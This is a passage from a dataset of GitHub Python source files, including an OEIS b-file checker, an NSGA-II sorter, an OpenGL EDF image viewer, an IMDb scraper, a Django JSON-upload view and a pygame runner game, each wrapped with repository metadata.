id = arguments['ID']\n live = arguments['--refresh']\n output_format = arguments[\"--format\"]\n\n counter = 0\n\n result = None\n while counter < 2:\n if id is None:\n result = Image.list(cloud, output_format)\n else:\n result = Image.details(cloud, id, live, output_format)\n if counter == 0 and result is None:\n if not Image.refresh(cloud):\n msg = \"Refresh image for cloud {:}.\".format(cloud)\n Console.error(\"{:} failed.\".format(msg))\n counter += 1\n\n if result is None:\n Console.error(\"No image(s) found. Failed.\")\n else:\n print(result)\n return \"\"\n\n","repo_name":"cloudmesh/client","sub_path":"cloudmesh_client/shell/plugins/ImageCommand.py","file_name":"ImageCommand.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"71101322372","text":"import requests\nimport concurrent.futures\nfrom validate import parse\n\nf1 = open(\"problems.txt\", \"a\")\nf2 = open(\"warnings.txt\", \"a\")\nt1 = 0\nt2 = 0\nf1.write(\"geee\")\ndef process_number(i):\n zpadded = str(i).zfill(6)\n btext = requests.get(f\"https://oeis.org/A{zpadded}/b{zpadded}.txt\").text\n result = parse(btext)\n if not result[1].is_empty():\n print(\"A\" + zpadded, result[1])\n t1 += 1\n f1.flush()\n f1.write(str(i) + \"\\n\")\n elif not result[2].is_empty():\n print(zpadded, result[2])\n t2 += 1\n f2.flush()\n f2.write(str(i) + \"\\n\")\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\n for i in range(154, 1000):\n print(i)\n executor.submit(process_number, i)\n\nf1.close()\nf2.close()\n","repo_name":"winstonDeGreef/bfile-toolbox","sub_path":"py/threaded.py","file_name":"threaded.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33446312317","text":"# nsga2.py\n# Functions related to the nondominated sorting genetic algorithm\n# described in the following paper:\n#\n# K. Deb, A. Pratap, S. Agarwal, and T. Meyarivan, \"A Fast and Elitist\n# Multiobjective Genetic Algorithm: NSGA-II\", in IEEE Transactions on\n# Evolutionary Computation, vol. 6, no. 2, 2002, pp. 182-197.\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.core.multiarray import ndarray\n\n\ndef main():\n # Set relevant parameters\n root = os.getcwd() # root directory that contains the data file\n filename = \"fitness.txt\"\n savefile = \"distance.txt\"\n\n # Load data from file\n f = np.loadtxt(os.path.join(root, filename))\n\n # Compute Pareto fronts using fast nondominated sorting\n p = ndsort(f)\n\n # Compute crowding distance (each front is handled separately)\n d = crowddist(f, p)\n\n # Save the crowding distance results to file\n np.savetxt(os.path.join(root, savefile), d, fmt='%0.2f')\n\n\ndef ndsort(f):\n p = np.zeros(f.shape[0])\n\n # Part 1: generate Sp and np\n\n n = [] # domination count (dominate p) [int]\n S = [] # set of solutions that p dominates [[solutions]]\n\n for i in range(f.shape[0]):\n n.append(0)\n S.append([])\n for j in range(f.shape[0]):\n if i == j: continue # if i and j are the same solution continue\n elif a_dominates_b(f[i],f[j]): # if i dominates j\n S[i].append(j)\n elif a_dominates_b(f[j],f[i]): # if i is dominated by j\n n[i] += 1\n\n # Part 2: use Sp and np to find Pareto-fronts\n\n n = np.array(n)\n S = np.array(S)\n\n Q = np.array(np.where(n == 0))[0] # find where np==0\n front = 1\n while True:\n next_Q = []\n for k in Q:\n if S[k] == 0:\n continue\n for l in S[k]:\n n[l] -= 1\n if n[l] == 0:\n next_Q.append(l)\n\n p[Q] = front\n\n if not next_Q: break\n Q = next_Q\n\n front += 1\n\n # Pyplot, must be 2d\n f1 = f[:,0].ravel()\n f2 = f[:,1].ravel()\n plt.plot(f1[np.where(p == 1)], f2[np.where(p == 1)], 'bo')\n plt.plot(f1[np.where(p == 2)], f2[np.where(p == 2)], 'o', color='#ffa500')\n plt.plot(f1[np.where(p == 3)], f2[np.where(p == 3)], 'go')\n plt.plot(f1[np.where(p == 4)], f2[np.where(p == 4)], 'ro')\n plt.plot(f1[np.where(p == 5)], f2[np.where(p == 5)], 'mo')\n plt.plot(f1[np.where(p == 6)], f2[np.where(p == 6)], 'ko')\n plt.show()\n\n # Return an array of Parent front indices for each data point\n return p\n\n\ndef a_dominates_b(a,b): # a&b shape=(2,)\n return (a[0] <= b[0] and a[1] <= b[1]) and (a[0] < b[0] or a[1] < b[1])\n\n\ndef crowddist(f, p):\n d = np.array(range(f.shape[0]), dtype=float)\n\n front_1 = np.array(np.where(p == 1))[0] # find where p==1\n front_f = f[front_1]\n\n d[[0,-1]] = np.inf\n for i in range(f.shape[1]): # for as many fn's we have\n fn: ndarray = -np.sort(-front_f[:, i].ravel()) # sort the fn() vals\n norm = fn[0] - fn[-1] # max - min\n for j in range(1, fn.shape[0]-1): # take the distance of each\n d[j] += (fn[j-1] - fn[j+1])/norm\n\n # Return the crowding distance metric for each data point\n print(\"d:\", d)\n return d\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"quinlanharsch/Portfolio","sub_path":"Evolutionary Algorithms/LastHW/nsga2.py","file_name":"nsga2.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72575908614","text":"n = int(input())\n\nmatrix = [list(map(int, input().split())) for _ in range(n)]\ndp = [[0 for _ in range(n)] for _ in range(n)]\ndp[0][0]=1\n\n# for i in range(n):\n# for j in range(n):\n# if i == n-1 and j == n-1:\n# print(dp[i][j])\n# break\n \n# val = matrix[i][j]\n# if i + val < n:\n# dp[i+val][j] += dp[i][j]\n# if j + val < n:\n# dp[i][j+val] += dp[i][j]\n\n \n# cnt = 0\n# dp = [[-1 for _ in range(n)] for _ in range(n)]\n# def recur(x,y):\n# global cnt\n# if x == n-1 and y == n-1:\n# cnt+=1\n# return\n\n# if dp[x][y] == -1: \n# dp[x][y] = 0\n# if 0<=x+matrix[x][y]=0:\n # rows=int(item.split()[-1])\n # if item.find(\"Dim_2\")>=0:\n # cols=int(item.split()[-1])\n #f.seek(-rows*cols*2,2)\n #self.rows=rows\n #self.cols=cols\n #self.data=array(fromstring(f.read(rows*cols*2),UInt16),savespace=1)\n# self.data=fabio.open(filename).data[:1024,:1024].copy()\n self.data=fabio.open(filename).data#[:1024,:1024]\n self.rows=self.data.shape[0]\n self.cols=self.data.shape[1]\n self.data=np.ravel(self.data)\n self.minI=np.minimum.reduce(np.ravel(self.data))\n self.maxI=np.maximum.reduce(np.ravel(self.data))\n print(\"Opened\",filename,\"max=\",self.maxI,\"min=\",self.minI)\n\nclass myOpengl(OTk.Opengl):\n\n def __init__(self, master=None, cnf={}, **kw):\n OTk.Opengl.__init__(*(self, master, cnf), **kw)\n\n def StartRotate(self,event):\n \"\"\"\n Clear old selection box\n Start new one\n \"\"\"\n pass\n# Opengl.StartRotate(self,event)\n\n\n def tkRotate(self, event):\n \"\"\"\n Draw selection box ??? Not working\n \"\"\"\n win_height = max( 1, self.winfo_height() )\n\n obj_c = ( 0., 0., 0. )\n win = gluProject( obj_c[0], obj_c[1], obj_c[2])\n obj = gluUnProject( win[0], win[1] + 0.5 * win_height, win[2])\n dist = math.sqrt( (obj_c[0]-obj[0])**2 + (obj_c[1]-obj[1])**2 + (obj_c[2]-obj[2])**2 )\n scale = abs( dist / ( 0.5 * win_height ) )\n realy = self.winfo_height() - event.y\n p1 = gluUnProject(event.x, realy, 0.) # Image is at z = 0\n p2 = gluUnProject(event.x, realy, 1.) # Image is at z = 0\n print(p1[0],p1[1],p1[2])\n# Opengl.tkRotate(self,event)\n\n def tkAutoSpin(self, event):\n \"\"\"\n Finish drawing selection box\n \"\"\"\n pass\n# Opengl.tkAutoSpin(self,event)\n\n\nclass checker:\n\n def makeImage(self):\n try:\n mi=int(self.minI.get())\n mx=int(self.maxI.get())\n except:\n mi=self.edfFile.minI\n mx=self.edfFile.maxI\n shape=(self.edfFile.rows, self.edfFile.cols)\n d=np.reshape(np.clip(self.edfFile.data,mi,mx),shape) # makes a clipped copy\n print(\"makeImage\",mx,mi,np.maximum.reduce(np.ravel(d)),np.minimum.reduce(np.ravel(d)),d.dtype.char, end=' ')\n newshape = []\n for i in shape:\n j=4\n print(j,pow(2,j),i,i pow(2,j):\n j+=1\n newshape.append(j)\n newshape = tuple([pow(2,v) for v in newshape])\n print(\"newshape\",newshape)\n d=255.*(d-mi)/(mx-mi)\n self.image=np.zeros((newshape[0],newshape[1],3),np.uint8)\n print(self.image.shape,d.shape)\n self.image[:shape[0],:shape[1],0] = d\n self.image[:shape[0],:shape[1],1] = d\n self.image[:shape[0],:shape[1],2] = d\n print(self.image.shape)\n# import pylab as pl\n# pl.imshow(self.image)\n# pl.show()\n # self.image = self.image # .tostring()\n self.imageWidth = newshape[1]\n self.imageHeight = newshape[0]\n print(\"Returning\")\n\n\n def display(self, event=None):\n OGL.glClearColor( .7, 0.8, 0.9, 0)\n OGL.glClear(OGL.GL_COLOR_BUFFER_BIT | OGL.GL_DEPTH_BUFFER_BIT)\n OGL.glBegin(OGL.GL_QUADS)\n\n w=self.imageWidth/2\n h=self.imageHeight/2\n \n OGL.glTexCoord2f(0.0, 0.0); OGL.glVertex3f(-w, -h, 0.0)\n OGL.glTexCoord2f(0.0, 1.0); OGL.glVertex3f(-w, h, 0.0)\n OGL.glTexCoord2f(1.0, 1.0); OGL.glVertex3f( w, h, 0.0)\n OGL.glTexCoord2f(1.0, 0.0); OGL.glVertex3f( w, -h, 0.0)\n\n OGL.glEnd()\n OGL.glFlush()\n\n def change(self, event=None):\n self.SetupTexture()\n self.ogl.tkRedraw()\n\n def SetupWindow(self):\n\n self.OglFrame = OTk.Frame()\n self.OglFrame.pack(side = 'top', expand=1 ,fill='both')\n\n self.ogl = myOpengl(master=self.OglFrame, width = 500, height = 500, double = 1)\n\n\n self.ogl.pack(side = 'top', expand = 1, fill = 'both')\n self.ogl.distance=max(self.imageWidth+10,self.imageHeight+10)*10\n self.ogl.near=max(self.imageWidth+10,self.imageHeight+10)*100.\n self.ogl.far=max(self.imageWidth+10,self.imageHeight+10)/100.\n self.ogl.fovy=10.\n self.ogl.autospin_allowed=1\n self.ogl.redraw = self.display\n\n\n # Control buttons for scaling\n self.bf=OTk.Frame()\n self.QuitButton = OTk.Button(self.bf, {'text':'Quit'})\n self.QuitButton.bind('', sys.exit)\n self.QuitButton.pack(side=OTk.RIGHT)\n\n OTk.Label(self.bf,text=\"MIN:\").pack(side=OTk.LEFT)\n self.minI=OTk.StringVar()\n try:\n self.minI.set(str(int(sys.argv[2])))\n except:\n self.minI.set(str(self.edfFile.minI))\n self.minIentry=OTk.Entry(self.bf, textvariable=self.minI)\n self.minIentry.bind('', self.change)\n self.minIentry.pack(side=OTk.LEFT)\n\n OTk.Label(self.bf,text=\" MAX:\").pack(side=OTk.LEFT)\n self.maxI=OTk.StringVar()\n try:\n top=int(sys.argv[3])\n except:\n top=self.edfFile.minI+(self.edfFile.maxI-self.edfFile.minI)/10.\n self.maxI.set(str(top))\n self.maxIentry=OTk.Entry(self.bf, textvariable=self.maxI)\n self.maxIentry.bind('', self.change)\n self.maxIentry.pack(side=OTk.LEFT)\n\n self.Update = OTk.Button(self.bf, text=\"Update\", command=self.change).pack(side=OTk.LEFT)\n OTk.Button(self.bf, text=\"Reset\", command=self.ogl.reset).pack(side=OTk.LEFT)\n self.bf.pack(side=OTk.TOP,expand=0,fill=OTk.X)\n helpframe=OTk.Frame()\n OTk.Label(helpframe,text=\"Left mouse button to translate, Right to zoom\").pack(side=OTk.BOTTOM)\n helpframe.pack(side=OTk.BOTTOM)\n\n\n\n\n def SetupTexture(self):\n self.makeImage()\n OGL.glPixelStorei(OGL.GL_UNPACK_ALIGNMENT, 1)\n## glTexImage2D(GL_TEXTURE_2D, 0, 3, self.imageWidth, self.imageHeight, 0, GL_RGBA, GL_UNSIGNED_BYTE, self.image)\n s = self.image.tostring()\n print(len(s),self.imageWidth*self.imageHeight)\n print(self.image.min(),self.image.max())\n OGL.glTexImage2D(OGL.GL_TEXTURE_2D, 0, OGL.GL_RGB, self.imageWidth, self.imageHeight, 0, OGL.GL_RGB ,OGL.GL_UNSIGNED_BYTE, self.image)\n## glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP)\n## glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_WRAP_S, OGL.GL_REPEAT)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_WRAP_T, OGL.GL_REPEAT)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_MAG_FILTER, OGL.GL_NEAREST)\n OGL.glTexParameterf(OGL.GL_TEXTURE_2D, OGL.GL_TEXTURE_MIN_FILTER, OGL.GL_NEAREST)\n OGL.glTexEnvf(OGL.GL_TEXTURE_ENV, OGL.GL_TEXTURE_ENV_MODE, OGL.GL_DECAL)\n OGL.glEnable(OGL.GL_TEXTURE_2D)\n OGL.glShadeModel(OGL.GL_FLAT)\n\n\n\n\n\n\n\n def __init__(self):\n try:\n self.edfFile = edfFile(sys.argv[1])\n except:\n sys.stderr.write(\"usage: %s edf_file\\n\"%(sys.argv[0]))\n raise\n self.imageWidth = self.edfFile.rows\n self.imageHeight = self.edfFile.cols\n\n self.SetupWindow()\n self.SetupTexture()\n self.ogl.mainloop()\n\nif __name__ == '__main__':\n checker()\n","repo_name":"FABLE-3DXRD/ImageD11","sub_path":"scripts/plotedf.py","file_name":"plotedf.py","file_ext":"py","file_size_in_byte":8380,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"44"} +{"seq_id":"9721327568","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\n\ndef get_script(url):\n r = requests.get(url)\n soup = BeautifulSoup(r.content, 'html.parser')\n div_title = soup.find('div', {'class': 'originalTitle'})\n div_desc = soup.find('div', {'class' :'summary_text'})\n title = div_title.text.strip()\n description = div_desc.text.strip()\n return creating_dict(title, description)\n\ndef creating_dict(title, description):\n movie_dict = {'title' : None, 'description' : None}\n movie_dict['title'] = title\n movie_dict['description'] = description\n return movie_dict\n\ndef url_validation(url):\n if re.match('.*imdb.com/title*', url) is not None:\n return True\n else:\n return False\n\ndef main():\n print('Input the URL:')\n input_url = input()\n if url_validation(input_url):\n return get_script(input_url)\n else:\n return \"Invalid movie page!\"\n\nprint(main())\n\n# import requests\n# import json\n# from bs4 import BeautifulSoup\n#\n# def get_script(url):\n# r = requests.get(url)\n# soup = BeautifulSoup(r.text, 'html.parser')\n# for script in soup.find_all('script'):\n# if script.get('type') == 'application/ld+json':\n# return json.loads(str(script)[35:-9])\n#\n# def parsing_json(input_url):\n# dict_title_descr = {\"title\": None, 'description' : None}\n# jsoned = get_script(input_url)\n# dict_title_descr['title'] = jsoned['name']\n# for key, value in jsoned.items():\n# print(key, value)\n# return dict_title_descr\n#\n# def main():\n# print('Input the URL:')\n# input_url = input()\n# return parsing_json(input_url)\n#\n# print(main())\n","repo_name":"sebastianRytel/JetBrainsAcademy_Python","sub_path":"Web Scraper_movies details.py","file_name":"Web Scraper_movies details.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74813404292","text":"import csv\r\nimport os\r\n\r\nfrom PyQt4 import QtGui\r\n\r\nfrom gatpy.logging import logger\r\nfrom ui.retour import Ui_Dialog\r\n\r\n\r\nclass RetourDialog(QtGui.QDialog, Ui_Dialog):\r\n def __init__(self, parent=None):\r\n QtGui.QDialog.__init__(self, parent)\r\n self.cart = parent.cart\r\n\r\n self.setupUi(self)\r\n self.setFixedSize(800, 600)\r\n self.connectAll()\r\n self.loadData()\r\n\r\n def connectAll(self):\r\n self.closeButton.clicked.connect(self.close)\r\n\r\n def loadData(self):\r\n with open(self.cart.filename, 'r') as f:\r\n for row in reversed(list(csv.reader(f))):\r\n print(row)\r\n","repo_name":"CasEbb/gatpy","sub_path":"gatpy/gui/retour.py","file_name":"retour.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34746946232","text":"from utils.hotkeys import Key, join_hotkeys\nfrom xml_tags import Tag\n\n\nHK_CAPTURE_IMAGE = Key.CTRL, Key.SPACE\nHK_CAPTURE_OCR = Key.CTRL, Key.ALT, Key.ENTER\nHK_TOGGLE_MODE = Key.CTRL, Key.SHIFT, Key.ALT\nHK_BACK_TO_MENU = Key.CTRL, Key.SHIFT, Key.WIN\nHK_CANCEL = Key.ESC\nHK_CONFIRM = Key.ENTER\n\n\nBASE_MAPPING = {\n Key.Z: Tag.PARAGRAPH,\n Key.X: Tag.PORQUE,\n Key.V: Tag.TEXT_HEADER,\n Key.M: Tag.CAPTION,\n\n Key.S: Tag.SOURCE,\n Key.D: Tag.CODE,\n Key.F: Tag.FORMULA,\n Key.J: Tag.QUESTION_OPTIONS,\n Key.H: Tag.QUESTION,\n Key.K: Tag.ANSWER_OPTIONS,\n Key.L: Tag.LINK,\n\n Key.T: Tag.TITLE,\n Key.Y: Tag.TEXT,\n Key.U: Tag.CENTERED_TEXT,\n Key.O: Tag.LIST,\n Key.P: Tag.TABLE,\n\n Key.I: Tag.ITALIC,\n Key.B: Tag.BOLD,\n}\n\nTAG_HOTKEY_PREFIX = Key.CTRL, Key.ALT\nTAG_MAPPING = {}\nREVERSE_TAG_MAPPING = {}\n\nfor k, v in BASE_MAPPING.items():\n hk = join_hotkeys(*TAG_HOTKEY_PREFIX, k)\n TAG_MAPPING[hk] = v\n REVERSE_TAG_MAPPING[v] = [hk]\n\nHK_REMOVE_TAG = join_hotkeys(*TAG_HOTKEY_PREFIX, Key.R)\n","repo_name":"gabrieljablonski/enade-parser","sub_path":"hotkey_mapping.py","file_name":"hotkey_mapping.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"29527907858","text":"'''\nhttps://leetcode.com/problems/contains-duplicate/\n217. Contains Duplicate\nGiven an integer array nums, return true if any value appears at least twice in the array, and return false if every element is distinct. \n\nExample 1:\nInput: nums = [1,2,3,1]\nOutput: true\n\nExample 2:\nInput: nums = [1,2,3,4]\nOutput: false\n\nSC: O(n)\nTC: O(n)\n'''\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n n = len(nums)\n dd = {}\n for i in range(n):\n if nums[i] in dd:\n return True\n else:\n dd[nums[i]] = 1\n return False\n \n'''\nSame solution but using a set instead of a dict\n'''\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n n = len(nums)\n ss = set() \n for i in range(n):\n if nums[i] in ss:\n return True\n else:\n ss.add(nums[i])\n return False\n \n","repo_name":"trohit/leetcode","sub_path":"contains-duplicate.py","file_name":"contains-duplicate.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"23920594693","text":"from django.shortcuts import redirect, render\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import authenticate, login as auth_login\nimport os\nfrom django.core.files.storage import FileSystemStorage\nimport json\nfrom financepeertask import models\n\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef register(request):\n if(request.method == 'POST'):\n form = UserCreationForm(request.POST)\n if(form.is_valid()):\n form.save()\n user = authenticate(\n username=form.cleaned_data['username'], password=form.cleaned_data['password1'])\n auth_login(request, user)\n return redirect('/')\n else:\n form = UserCreationForm()\n context = {'form': form}\n return render(request, 'registration/register.html', context)\n\n\ndef getFile(request):\n fileObj = request.FILES['filePath']\n fsObj = FileSystemStorage()\n filePathName = fsObj.save(fileObj.name, fileObj)\n filePathName = fsObj.url(filePathName)\n filename = filePathName[7:]\n filePathName = '.' + filePathName\n filePathName = filePathName.replace(\"%\", \" \")\n with open(filePathName) as f:\n data = json.load(f)\n for entry in data:\n print(entry['userId'])\n det = models.Details()\n det.userId = entry['userId']\n det.id1 = entry['id']\n det.title = entry['title']\n det.body = entry['body']\n det.save()\n data = models.Details.objects.all()\n return render(request, 'done.html')\n\n\ndef showData(request):\n data = models.Details.objects.all()\n print(data)\n return render(request, 'show.html', {\"Details\": data})\n\n\ndef logout(request):\n return redirect('http://127.0.0.1:8000/accounts/logout')\n\n\ndef login(request):\n return redirect('http://127.0.0.1:8000/accounts/login')\n","repo_name":"thechawla225/FinencepeerTask","sub_path":"financepeertask/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74378914053","text":"from wtforms.validators import ValidationError\nimport logging\n\nlog = logging.getLogger(__name__)\n\nclass ValueRequired:\n def __init__(self, value, message=None):\n self.value = value\n self.message = message\n\n def __call__(self, form, field):\n log.debug(\"Value Required {}, field.data {}\".format(field.data,\n self.value))\n if field.data != self.value:\n raise ValidationError(self.message)\n","repo_name":"dolfandringa/modama","sub_path":"modama/views/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3211853055","text":"import pygame\r\nimport sys\r\nimport json\r\n\r\nfrom ground import Ground\r\nfrom obstacles import Obstacles\r\nfrom second_level import Obstacles2\r\nfrom score_text import Top\r\nfrom random import randint\r\n\r\ndef check_events(prisoner,grounds,settings,obs,obs2,over_b,screen,top):\r\n\r\n for event in pygame.event.get():\r\n\r\n if event.type == pygame.QUIT:\r\n sys.exit()\r\n \r\n elif event.type == pygame.KEYDOWN:\r\n check_keydown(event,prisoner,grounds,settings,obs,obs2,over_b,screen)\r\n \r\n elif event.type == pygame.KEYUP:\r\n check_keyup(event,prisoner,grounds,settings)\r\n \r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n mouse_x, mouse_y = pygame.mouse.get_pos()\r\n check_over_button(mouse_x,mouse_y,screen,settings,obs,obs2,prisoner,grounds,over_b,top)\r\n \r\ndef check_keydown(event,prisoner,grounds,settings,obs,obs2,over_b,screen):\r\n\r\n if event.key == pygame.K_SPACE and not settings.jump_descent:\r\n \r\n settings.jump_flag = True\r\n prisoner.animation_flag = True\r\n settings.jump_type = True\r\n settings.jump_sound.set_volume(0.6)\r\n #settings.jump_sound.play()\r\n \r\n if event.key == pygame.K_LSHIFT and not settings.jump_descent:\r\n \r\n settings.jump_flag = True\r\n prisoner.animation_flag = True\r\n settings.jump_type = False\r\n settings.decrease_ground = True\r\n settings.ground_speed *= 1.50\r\n settings.jump_sound.set_volume(0.6)\r\n #settings.jump_sound.play()\r\n settings.decrease = settings.ground_speed - settings.ground_speed/1.50\r\n \r\n \r\ndef check_over_button(mouse_x,mouse_y,screen,settings,obs,obs2,prisoner,grounds,over_b,top):\r\n \r\n if over_b.rect.collidepoint(mouse_x, mouse_y) and not settings.game_active:\r\n grounds.empty()\r\n obs.empty()\r\n obs2.empty()\r\n settings.__init__()\r\n ground = Ground(settings,screen)\r\n grounds.add(ground)\r\n for ground in grounds.copy():\r\n prisoner.rect.bottom = ground.rect.top\r\n top.__init__(settings,screen)\r\n pygame.mixer.music.load(\"Sounds/Gaur.mp3\")\r\n pygame.mixer.music.set_volume(0.3)\r\n pygame.mixer.music.play(-1)\r\n \r\n \r\ndef check_keyup(event,prisoner,grounds,settings):\r\n\r\n if event.key == pygame.K_SPACE:\r\n \r\n if prisoner.jump_speed > 0:\r\n settings.jump_sound.fadeout(2000)\r\n settings.jump_flag = False\r\n settings.jump_descent = True\r\n settings.jump_type = True\r\n \r\n if event.key == pygame.K_LSHIFT:\r\n \r\n if prisoner.jump_speed > 0:\r\n settings.jump_sound.fadeout(2000)\r\n settings.jump_flag = False\r\n settings.jump_descent = True\r\n settings.jump_type = True\r\n \r\n if settings.decrease_ground:\r\n \r\n settings.ground_speed -= settings.decrease\r\n settings.decrease_ground = False\r\n \r\n \r\ndef update_ground(settings,screen,grounds):\r\n\r\n screen_rect = screen.get_rect()\r\n grounds.update(settings)\r\n \r\n for ground in grounds.copy():\r\n \r\n if ground.rect.right < 0:\r\n grounds.remove(ground)\r\n \r\n if ground.rect.right < screen_rect.right:\r\n \r\n if len(grounds) == 1:\r\n \r\n random_number = randint(0,3)\r\n if random_number == settings.store_n:\r\n random_number = randint(0,3)\r\n new_ground = Ground(settings,screen)\r\n new_ground.index = random_number\r\n settings.store_n = random_number\r\n \r\n new_ground.x = screen_rect.right-30\r\n grounds.add(new_ground)\r\n \r\ndef increase_diff(settings,grounds,settingsP):\r\n \r\n settings.diff_score += 1\r\n if settings.diff_score > 3000:\r\n \r\n settings.ground_speed += 2\r\n for setting in settingsP:\r\n setting.prisoner_animation_speed *= 0.70\r\n settings.diff_score = 0\r\n settings.ob_number += 1\r\n\r\n \r\ndef player_object_collisions(prisoner,obs,settings):\r\n \r\n if pygame.sprite.spritecollideany(prisoner, obs, pygame.sprite.collide_mask):\r\n \r\n settings.death_sound.set_volume(0.1)\r\n settings.death_sound.play()\r\n \r\n filename = \"score.json\"\r\n total_score = settings.score\r\n try:\r\n with open(filename) as f_obj:\r\n Top_score = json.load(f_obj)\r\n if total_score > Top_score:\r\n with open(filename,\"w\") as f_obj:\r\n json.dump(total_score,f_obj)\r\n Top_score = total_score\r\n \r\n \r\n except FileNotFoundError:\r\n with open(filename,\"w\") as f_obj:\r\n json.dump(total_score,f_obj)\r\n Top_score = total_score\r\n \r\n return True\r\n \r\n \r\n \r\ndef generate_obstacle(settings,obs,grounds,screen):\r\n\r\n random_number = randint(1,settings.spawn_chance)\r\n \r\n if not settings.ob_flag:\r\n \r\n settings.ob_timer += 1\r\n \r\n if settings.ob_timer > settings.ob_limit:\r\n \r\n settings.ob_flag = True\r\n settings.ob_timer = 0\r\n \r\n \r\n if settings.ob_flag:\r\n \r\n settings.ob_timer_spawn += 1\r\n \r\n if settings.ob_timer_spawn > settings.ob_limit_spawn:\r\n \r\n settings.ob_timer_spawn = 0\r\n random_number = 1\r\n \r\n if random_number == 1 and settings.ob_flag:\r\n \r\n settings.ob_flag = False\r\n create_obstacle(settings,obs,grounds,screen)\r\n \r\ndef create_obstacle(settings,obs,grounds,screen):\r\n \r\n random_number2 = randint(settings.ob_number-2,settings.ob_number)\r\n for x in range(1,random_number2):\r\n \r\n ob = Obstacles(settings,screen,grounds)\r\n random_number = randint(0,len(ob.images)-1)\r\n ob.index = random_number\r\n \r\n ob.pick_obstacle(grounds)\r\n \r\n if x != 1:\r\n if x != random_number2:\r\n random_offset = randint(-20,20)\r\n ob.x += settings.previous_position + random_offset\r\n settings.previous_position += ob.rect.width\r\n obs.append(ob)\r\n settings.previous_position = 0\r\n \r\ndef generate_obstacle2(settings,obs2,grounds,screen):\r\n\r\n random_number2 = randint(1,settings.spawn_chance)\r\n \r\n if not settings.ob_flag2:\r\n \r\n settings.ob_timer2 += 1\r\n \r\n if settings.ob_timer2 > settings.ob_limit2:\r\n \r\n settings.ob_flag2 = True\r\n settings.ob_timer2 = 0\r\n \r\n if random_number2 == 1 and settings.ob_flag2:\r\n \r\n settings.ob_flag2 = False\r\n create_obstacle2(settings,obs2,grounds,screen)\r\n \r\ndef create_obstacle2(settings,obs2,grounds,screen):\r\n \r\n random_number3 = randint(settings.ob_number2-2,settings.ob_number2)\r\n for x in range(1,random_number3):\r\n \r\n ob2 = Obstacles2(settings,screen,grounds)\r\n random_number4 = randint(0,len(ob2.images)-1)\r\n ob2.index = random_number4\r\n \r\n ob2.pick_obstacle(grounds)\r\n \r\n if x != 1:\r\n if x != random_number3:\r\n random_offset2 = randint(-40,40)\r\n ob2.x += settings.previous_position2 + random_offset2\r\n settings.previous_position2 += ob2.rect.width\r\n obs2.add(ob2)\r\n settings.previous_position2 = 0\r\n\r\ndef update_screen(settingsP,grounds,prisoners,obs,text,screen,background,obs2,top,settings):\r\n\r\n background.blit()\r\n \r\n for ob2 in obs2.sprites():\r\n ob2.blitme()\r\n \r\n if len(prisoners) > 0:\r\n for prisoner in prisoners:\r\n if len(obs) > 0:\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[0].x,obs[0].rect.bottom),2)\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[0].rect.centerx,obs[0].rect.top),2)\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[-1].x,obs[-1].rect.bottom),2)\r\n pygame.draw.line(screen, (255,0,0), (prisoner.rect.centerx,prisoner.rect.centery), (obs[-1].rect.centerx,obs[-1].rect.top),2)\r\n \r\n for ground in grounds.sprites():\r\n ground.blitme()\r\n \r\n for ob in obs:\r\n ob.blitme()\r\n \r\n for x,prisoner in enumerate(prisoners):\r\n prisoner.blitme(settingsP[x],grounds)\r\n \r\n if settings.game_active:\r\n settings.score += 1\r\n text.update_score(settings,screen)\r\n top.blitme()\r\n ","repo_name":"FrancescoJimenez/AIGames","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":9100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25160630899","text":"__author__ = \"Łukasz Wierzbicki\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Łukasz Wierzbicki\"\n__email__ = \"01113202@pw.edu.pl\"\n\nimport numba\nimport numpy as np\n\nfrom colorization_program.src.colorization_algorithm.colorization_using_optimization.image.neighbor_solver import \\\n 